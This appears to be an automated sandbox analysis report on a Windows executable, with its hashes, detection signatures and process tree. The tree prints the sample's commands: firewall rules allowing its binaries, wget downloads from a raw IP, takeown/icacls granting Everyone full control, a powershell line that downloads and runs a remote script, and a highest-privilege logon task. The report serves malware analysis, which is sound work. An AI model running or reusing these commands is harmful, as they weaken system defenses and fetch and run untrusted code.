Analysis
- max time kernel
74s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
15/11/2022, 12:43
Behavioral task
behavioral1
Sample
tmp.exe
Resource
win7-20221111-en
13 signatures
150 seconds
General
- Target tmp.exe
- Size 532KB
- Sample221115-pybwcadh86
- SHA256 9aa8880ca3650ef28c7a1dd5869a4d720ca0f62bda8ada3fcd86226b6f20e123
- MD5 cba9caa64e418a546044daa8744800b3
- SHA1 72060361b8a025ea3e132f6015cb20a87d3dff44
- SHA512 aac883eb4a0d5718d64a592632d1270c3f7ab8b8e1555f0c0a940922bc325dc07dea44a09ea3da0a0e834a4b266f1d6eb20b54523811c5992abbfc9bc56e4129
- SSDEEP 12288:u5m8ZlWk6VT6qIm9qCZb5rTa8kdVXpP1PIU/bB6h1a15:5O+DD9qCZb5rTa8UPPRP/bkar
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
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ps1
Deobfuscated
Source
URLs
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ps1.dropper
https://chocolatey.org/install.ps1
Signatures
- Blocklisted process makes network request 5 IoCs
flow pid Process 5 1264 powershell.exe 7 1264 powershell.exe 13 1264 powershell.exe 15 1264 powershell.exe 17 1264 powershell.exe - Downloads MZ/PE file
- Executes dropped EXE 3 IoCs
pid Process 1912 wget.exe 3780 wget.exe 4092 choco.exe - Modifies Windows Firewall 1 TTPs 4 IoCs
pid Process 4268 netsh.exe 3424 netsh.exe 1504 netsh.exe 644 netsh.exe - Possible privilege escalation attempt 19 IoCs
pid Process 4288 icacls.exe 1320 icacls.exe 5016 icacls.exe 3060 icacls.exe 2240 icacls.exe 2056 icacls.exe 4280 takeown.exe 2120 icacls.exe 1188 icacls.exe 1264 takeown.exe 3660 icacls.exe 4088 takeown.exe 2128 icacls.exe 1412 icacls.exe 4224 icacls.exe 992 icacls.exe 5116 takeown.exe 3468 takeown.exe 4544 icacls.exe -
resource yara_rule behavioral2/memory/4720-134-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp upx behavioral2/files/0x0003000000000034-142.dat upx behavioral2/files/0x0003000000000034-143.dat upx behavioral2/memory/1912-144-0x0000000000400000-0x00000000004EF000-memory.dmp upx behavioral2/files/0x0003000000000034-146.dat upx behavioral2/memory/3780-147-0x0000000000400000-0x00000000004EF000-memory.dmp upx behavioral2/memory/3780-148-0x0000000000400000-0x00000000004EF000-memory.dmp upx behavioral2/files/0x0007000000022df2-151.dat upx behavioral2/memory/4720-206-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp upx behavioral2/memory/4720-230-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp upx - Modifies file permissions 1 TTPs 19 IoCs
pid Process 5116 takeown.exe 3468 takeown.exe 4544 icacls.exe 1264 takeown.exe 2056 icacls.exe 5016 icacls.exe 3060 icacls.exe 2240 icacls.exe 2128 icacls.exe 2120 icacls.exe 1412 icacls.exe 4288 icacls.exe 1320 icacls.exe 1188 icacls.exe 3660 icacls.exe 4224 icacls.exe 4088 takeown.exe 992 icacls.exe 4280 takeown.exe - AutoIT Executable 3 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral2/memory/4720-134-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp autoit_exe behavioral2/memory/4720-206-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp autoit_exe behavioral2/memory/4720-230-0x00007FF7DA510000-0x00007FF7DA652000-memory.dmp autoit_exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1248 schtasks.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1264 powershell.exe 1264 powershell.exe 4464 powershell.exe 4464 powershell.exe 1340 powershell.exe 1340 powershell.exe 2552 powershell.exe 2552 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1264 powershell.exe Token: SeBackupPrivilege 1264 powershell.exe Token: SeBackupPrivilege 1264 powershell.exe Token: SeRestorePrivilege 1264 powershell.exe Token: SeSecurityPrivilege 1264 powershell.exe Token: SeBackupPrivilege 1264 powershell.exe Token: SeBackupPrivilege 1264 powershell.exe Token: SeRestorePrivilege 1264 powershell.exe Token: SeSecurityPrivilege 1264 powershell.exe Token: SeDebugPrivilege 4464 powershell.exe Token: SeDebugPrivilege 1340 powershell.exe Token: SeDebugPrivilege 2552 powershell.exe Token: SeIncreaseQuotaPrivilege 2552 powershell.exe Token: SeSecurityPrivilege 2552 powershell.exe Token: SeTakeOwnershipPrivilege 2552 powershell.exe Token: SeLoadDriverPrivilege 2552 powershell.exe Token: SeSystemProfilePrivilege 2552 powershell.exe Token: SeSystemtimePrivilege 2552 powershell.exe Token: SeProfSingleProcessPrivilege 2552 powershell.exe Token: SeIncBasePriorityPrivilege 2552 powershell.exe Token: SeCreatePagefilePrivilege 2552 powershell.exe Token: SeBackupPrivilege 2552 powershell.exe Token: SeRestorePrivilege 2552 powershell.exe Token: SeShutdownPrivilege 2552 powershell.exe Token: SeDebugPrivilege 2552 powershell.exe Token: SeSystemEnvironmentPrivilege 2552 powershell.exe Token: SeRemoteShutdownPrivilege 2552 powershell.exe Token: SeUndockPrivilege 2552 powershell.exe Token: SeManageVolumePrivilege 2552 powershell.exe Token: 33 2552 powershell.exe Token: 34 2552 powershell.exe Token: 35 2552 powershell.exe Token: 36 2552 powershell.exe Token: SeIncreaseQuotaPrivilege 2552 powershell.exe Token: SeSecurityPrivilege 2552 powershell.exe Token: SeTakeOwnershipPrivilege 2552 powershell.exe Token: SeLoadDriverPrivilege 2552 powershell.exe Token: SeSystemProfilePrivilege 2552 powershell.exe Token: SeSystemtimePrivilege 2552 powershell.exe Token: SeProfSingleProcessPrivilege 2552 powershell.exe Token: SeIncBasePriorityPrivilege 2552 powershell.exe Token: SeCreatePagefilePrivilege 2552 powershell.exe Token: SeBackupPrivilege 2552 powershell.exe Token: SeRestorePrivilege 2552 powershell.exe Token: SeShutdownPrivilege 2552 powershell.exe Token: SeDebugPrivilege 2552 powershell.exe Token: SeSystemEnvironmentPrivilege 2552 powershell.exe Token: SeRemoteShutdownPrivilege 2552 powershell.exe Token: SeUndockPrivilege 2552 powershell.exe Token: SeManageVolumePrivilege 2552 powershell.exe Token: 33 2552 powershell.exe Token: 34 2552 powershell.exe Token: 35 2552 powershell.exe Token: 36 2552 powershell.exe Token: SeIncreaseQuotaPrivilege 2552 powershell.exe Token: SeSecurityPrivilege 2552 powershell.exe Token: SeTakeOwnershipPrivilege 2552 powershell.exe Token: SeLoadDriverPrivilege 2552 powershell.exe Token: SeSystemProfilePrivilege 2552 powershell.exe Token: SeSystemtimePrivilege 2552 powershell.exe Token: SeProfSingleProcessPrivilege 2552 powershell.exe Token: SeIncBasePriorityPrivilege 2552 powershell.exe Token: SeCreatePagefilePrivilege 2552 powershell.exe Token: SeBackupPrivilege 2552 powershell.exe - Suspicious use of FindShellTrayWindow 35 IoCs
pid Process 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe - Suspicious use of SendNotifyMessage 35 IoCs
pid Process 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe 4720 tmp.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4720 wrote to memory of 1864 4720 tmp.exe 82 PID 4720 wrote to memory of 1864 4720 tmp.exe 82 PID 1864 wrote to memory of 644 1864 cmd.exe 84 PID 1864 wrote to memory of 644 1864 cmd.exe 84 PID 4720 wrote to memory of 1084 4720 tmp.exe 85 PID 4720 wrote to memory of 1084 4720 tmp.exe 85 PID 1084 wrote to memory of 4268 1084 cmd.exe 87 PID 1084 wrote to memory of 4268 1084 cmd.exe 87 PID 4720 wrote to memory of 388 4720 tmp.exe 88 PID 4720 wrote to memory of 388 4720 tmp.exe 88 PID 388 wrote to memory of 3424 388 cmd.exe 90 PID 388 wrote to memory of 3424 388 cmd.exe 90 PID 4720 wrote to memory of 1180 4720 tmp.exe 91 PID 4720 wrote to memory of 1180 4720 tmp.exe 91 PID 1180 wrote to memory of 1504 1180 cmd.exe 93 PID 1180 wrote to memory of 1504 1180 cmd.exe 93 PID 4720 wrote to memory of 1912 4720 tmp.exe 94 PID 4720 wrote to memory of 1912 4720 tmp.exe 94 PID 4720 wrote to memory of 1912 4720 tmp.exe 94 PID 4720 wrote to memory of 3780 4720 tmp.exe 96 PID 4720 wrote to memory of 3780 4720 tmp.exe 96 PID 4720 wrote to memory of 3780 4720 tmp.exe 96 PID 4720 wrote to memory of 2960 4720 tmp.exe 98 PID 4720 wrote to memory of 2960 4720 tmp.exe 98 PID 2960 wrote to memory of 4280 2960 cmd.exe 100 PID 2960 wrote to memory of 4280 2960 cmd.exe 100 PID 4720 wrote to memory of 3820 4720 tmp.exe 101 PID 4720 wrote to memory of 3820 4720 tmp.exe 101 PID 3820 wrote to memory of 3660 3820 cmd.exe 103 PID 3820 wrote to memory of 3660 3820 cmd.exe 103 PID 4720 wrote to memory of 4780 4720 tmp.exe 104 PID 4720 wrote to memory of 4780 4720 tmp.exe 104 PID 4780 wrote to memory of 5016 4780 cmd.exe 106 PID 4780 wrote to memory of 5016 4780 cmd.exe 106 PID 4720 wrote to memory of 1340 4720 tmp.exe 107 PID 4720 wrote to memory of 1340 4720 tmp.exe 107 PID 1340 wrote to memory of 2120 1340 cmd.exe 109 PID 1340 wrote to memory of 2120 1340 cmd.exe 109 PID 4720 wrote to memory of 1644 4720 tmp.exe 110 PID 4720 wrote to memory of 1644 4720 tmp.exe 110 PID 1644 wrote to memory of 5116 1644 cmd.exe 112 PID 1644 wrote to memory of 5116 1644 cmd.exe 112 PID 4720 wrote to memory of 4796 4720 tmp.exe 113 PID 4720 wrote to memory of 4796 4720 tmp.exe 113 PID 4796 wrote to memory of 1188 4796 cmd.exe 115 PID 4796 wrote to memory of 1188 4796 cmd.exe 115 PID 4720 wrote to memory of 3476 4720 tmp.exe 116 PID 4720 wrote to memory of 3476 4720 tmp.exe 116 PID 3476 wrote to memory of 3060 3476 cmd.exe 118 PID 3476 wrote to memory of 3060 3476 cmd.exe 118 PID 4720 wrote to memory of 1292 4720 tmp.exe 119 PID 4720 wrote to memory of 1292 4720 tmp.exe 119 PID 1292 wrote to memory of 3468 1292 cmd.exe 121 PID 1292 wrote to memory of 3468 1292 cmd.exe 121 PID 4720 wrote to memory of 3596 4720 tmp.exe 122 PID 4720 wrote to memory of 3596 4720 tmp.exe 122 PID 3596 wrote to memory of 4544 3596 cmd.exe 124 PID 3596 wrote to memory of 4544 3596 cmd.exe 124 PID 4720 wrote to memory of 4356 4720 tmp.exe 125 PID 4720 wrote to memory of 4356 4720 tmp.exe 125 PID 4356 wrote to memory of 1412 4356 cmd.exe 127 PID 4356 wrote to memory of 1412 4356 cmd.exe 127 PID 4720 wrote to memory of 4684 4720 tmp.exe 128 PID 4720 wrote to memory of 4684 4720 tmp.exe 128
Processes
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C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\tmp.exe enable=yes2⤵
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\tmp.exe enable=yes3⤵
- Modifies Windows Firewall
PID:644
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="upwget" dir=in action=allow program=%allusersprofile%\zem\wget.exe enable=yes2⤵
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="upwget" dir=in action=allow program=C:\ProgramData\zem\wget.exe enable=yes3⤵
- Modifies Windows Firewall
PID:4268
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="uptime_cli" dir=in action=allow program=%allusersprofile%\zem\time_cli.exe enable=yes2⤵
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="uptime_cli" dir=in action=allow program=C:\ProgramData\zem\time_cli.exe enable=yes3⤵
- Modifies Windows Firewall
PID:3424
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=%allusersprofile%\zem\up2batdownload.exe enable=yes2⤵
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="up2batdownload" dir=in action=allow program=C:\ProgramData\zem\up2batdownload.exe enable=yes3⤵
- Modifies Windows Firewall
PID:1504
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C:\ProgramData\zem\wget.exeC:\ProgramData\zem\wget.exe --tries=2 -o "%ALLUSERSPROFILE%\zem\log\not_in_right_dir_up2bat64atstrtp.txt" -N -P "C:\ProgramData\zem" --user-agent="FXOYPAIQ_Admin" 84.240.25.78/openforschool/bat/update64.bat2⤵
- Executes dropped EXE
PID:1912
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C:\ProgramData\zem\wget.exeC:\ProgramData\zem\wget.exe --tries=2 -o "%ALLUSERSPROFILE%\zem\log\not_in_right_dir_cmdhatstrtp.txt" -N -P "C:\ProgramData\zem" --user-agent="FXOYPAIQ_Admin" 84.240.25.78/openforschool/prg/cmdh.exe2⤵
- Executes dropped EXE
PID:3780
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem /D Y2⤵
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\system32\takeown.exetakeown /R /f C:\ProgramData\zem /D Y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4280
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Everyone:F /T2⤵
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem /grant Everyone:F /T3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3660
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /T /inheritance:r2⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem /T /inheritance:r3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5016
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Everyone:(OI)(CI)F2⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem /grant Everyone:(OI)(CI)F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2120
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\log /D Y2⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\system32\takeown.exetakeown /R /f C:\ProgramData\zem\log /D Y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5116
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Everyone:F /T2⤵
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\log /grant Everyone:F /T3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1188
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Everyone:(OI)(CI)F2⤵
- Suspicious use of WriteProcessMemory
PID:3476 -
C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\log /grant Everyone:(OI)(CI)F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3060
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\upd /D Y2⤵
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Windows\system32\takeown.exetakeown /R /f C:\ProgramData\zem\upd /D Y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3468
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Everyone:F /T2⤵
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\upd /grant Everyone:F /T3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4544
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Everyone:(OI)(CI)F2⤵
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\upd /grant Everyone:(OI)(CI)F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1412
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Все:F /T2⤵PID:4684
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C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem /grant Все:F /T3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4224
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /T /inheritance:r2⤵PID:2832
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C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem /T /inheritance:r3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2240
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem /grant Все:(OI)(CI)F2⤵PID:4888
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C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem /grant Все:(OI)(CI)F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4288
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\log /D Y2⤵PID:4708
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C:\Windows\system32\takeown.exetakeown /R /f C:\ProgramData\zem\log /D Y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4088
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Все:F /T2⤵PID:1592
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C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\log /grant Все:F /T3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:992
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\log /grant Все:(OI)(CI)F2⤵PID:1864
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C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\log /grant Все:(OI)(CI)F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2128
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /R /f %programdata%\zem\upd /D Y2⤵PID:1104
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C:\Windows\system32\takeown.exetakeown /R /f C:\ProgramData\zem\upd /D Y3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1264
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Все:F /T2⤵PID:3912
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C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\upd /grant Все:F /T3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2056
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ICACLS %ALLUSERSPROFILE%\zem\upd /grant Все:(OI)(CI)F2⤵PID:644
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C:\Windows\system32\icacls.exeICACLS C:\ProgramData\zem\upd /grant Все:(OI)(CI)F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1320
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "Adobe Flash Player Updater" /F2⤵PID:2648
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "Adobe Flash Player Updater" /F3⤵PID:4352
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "Adobe Flash Player PPAPI Notifier" /F2⤵PID:2928
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "Adobe Flash Player PPAPI Notifier" /F3⤵PID:3572
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1009" /F2⤵PID:3824
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1009" /F3⤵PID:736
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1011" /F2⤵PID:3560
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "OneDrive Standalone Update Task-S-1-5-21-683023514-2547189882-1938190590-1011" /F3⤵PID:976
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "User_Feed_Synchronization-{31CAA45B-2034-4501-B12A-BB56B5804873}" /F2⤵PID:1144
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "User_Feed_Synchronization-{31CAA45B-2034-4501-B12A-BB56B5804873}" /F3⤵PID:2676
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "User_Feed_Synchronization-{95D3B369-FB41-4E58-8BBD-842C00C86AA9}" /F2⤵PID:1688
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "User_Feed_Synchronization-{95D3B369-FB41-4E58-8BBD-842C00C86AA9}" /F3⤵PID:3772
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /F2⤵PID:2164
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /F3⤵PID:2660
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /F2⤵PID:2576
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /F3⤵PID:5072
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_uninstall_java" /F2⤵PID:1708
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_uninstall_java" /F3⤵PID:4496
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_java64" /F2⤵PID:4060
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_java64" /F3⤵PID:2988
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_firefox64" /F2⤵PID:3900
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_firefox64" /F3⤵PID:4244
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_vlc64" /F2⤵PID:2496
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_vlc64" /F3⤵PID:5112
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_foxitreader_latest" /F2⤵PID:3464
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_foxitreader_latest" /F3⤵PID:4560
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player_ax" /F2⤵PID:2408
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_install_flash_player_ax" /F3⤵PID:1924
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player_ppapi" /F2⤵PID:1696
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_install_flash_player_ppapi" /F3⤵PID:2992
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_install_flash_player" /F2⤵PID:2456
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_install_flash_player" /F3⤵PID:4004
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_7z64" /F2⤵PID:1280
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_7z64" /F3⤵PID:4876
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /delete /TN "test_n_run" /F2⤵PID:904
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C:\Windows\system32\schtasks.exeschtasks /delete /TN "test_n_run" /F3⤵PID:4268
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy /Y /Z C:\Users\Admin\AppData\Local\Temp\tmp.exe %ALLUSERSPROFILE%\zem\up2batdownload.exe2⤵PID:4172
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c @powershell -NoProfile -ExecutionPolicy unrestricted -Command iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1')) && SET PATH=%PATH%;%systemdrive%\chocolatey\bin2⤵PID:1284
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy unrestricted -Command iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pftbpevt\pftbpevt.cmdline"4⤵PID:8
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA2AD.tmp" "c:\Users\Admin\AppData\Local\Temp\pftbpevt\CSCA5BC580AF6EE420E902A6861B0103F6C.TMP"5⤵PID:1712
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C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "133129934484078047"4⤵PID:228
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C:\Windows\System32\setx.exe"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "133129934498296854"4⤵PID:3572
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C:\ProgramData\chocolatey\choco.exe"C:\ProgramData\chocolatey\choco.exe" -v4⤵
- Executes dropped EXE
PID:4092
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell cinst powershell -y2⤵PID:3380
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell cinst powershell -y3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo chocolatey >> %ALLUSERSPROFILE%\zem\log\not_in_right_dir_chocolatey.txt2⤵PID:4472
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c %ALLUSERSPROFILE%\zem\run.bat2⤵PID:1144
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "Set-ExecutionPolicy RemoteSigned -force"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1340
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell C:\ProgramData\zem\start.ps13⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\zem\update64.bat2⤵PID:3320
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\zem\start.bat1⤵PID:3856
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C:\Windows\system32\schtasks.exeSchTasks /Create /SC ONLOGON /RU Admin /TN "test_n_timecli" /TR "C:\ProgramData\zem\time_cli.exe" /F /RL HIGHEST2⤵
- Creates scheduled task(s)
PID:1248
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\ProgramData\chocolatey\choco.exe
- Size 7.3MB
- SHA256 9078bd7a82267c4605dcdf4d4ad8d03150cd9eec84c88965a3fcd4193cf1f8d7
